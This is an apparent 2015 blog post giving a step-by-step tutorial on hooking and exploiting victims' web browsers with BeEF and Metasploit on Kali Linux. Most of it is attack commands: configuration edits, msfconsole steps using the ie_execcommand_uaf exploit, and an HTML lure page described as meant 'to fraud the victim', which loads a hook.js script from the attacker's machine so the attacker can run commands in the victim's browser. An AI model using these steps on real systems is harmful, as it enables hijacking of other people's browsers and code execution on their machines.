Tuesday, May 26, 2015

Browser attacks using BeEf


To this browser attack gonna use not only the Beef but also Metasploit.

Open shell, type and go as follows..

cd /usr/share/beef-xss

ls

in the list you can see config.yaml file. Copy the name and paste the name after nano.

nano config.yaml

scroll down and look at "metasploit enable : false"
you have to erase the "false" and make it "true"
then its looks like enable : true
press ctrl + x
type y
press enter

continue typing



cd extensions
cd  metasploit
nano config.yaml

in that find the ;

host : set the ip of the machine (kali)
callbackhost : same ip as above
{os : "custom" , path : '/usr/share/metasploit-framework/'}

take another shell and go as follows

starting the msf console

service postgresql start && service metasploit start
msfconsole

then metasploit will start.

msf>load msgrpc serverhost=192.168.100.161 pass=abc123

now its time to start beef

make sure you are in this directory /usr/share/beef-xss

./beef -x

-x means reset the beef database coz we done some changes.

copy the UIURL
open the web browser and paste it. enter
 Now we are going to make a web page to fraud the victim

in shel type
cd /var/www
mkdir page   -this command to make the directory to web page.
nano
and enter

now make the html page
<head>
<title>any title you want</title>
<script src=copy paste the hook URL in here ex:192.168.100.161:3000/hook.js></script>
</head>
<body>
<img src =image name.jpg/>
</body>

press ctrl + z
enter a name ex:index.html

then get the msfconsole
msf>use exploit/windows/browser/ie_execcommand_uaf
show options
you can see the options

set srvhost "type the ip of the server"
set uripath /

now go to application > kali linux > system services > http

click on apache2 start

now in the victim's machine's brwser when type the ip of your server with the direct to your html page like this: ex : 192.168.100.161/page/index.html

look at your browser (beef page:note:to login beef username and pass is beef)

you can see the victim's machine is online and now you can execute commands that are in the left pane

No comments:

Post a Comment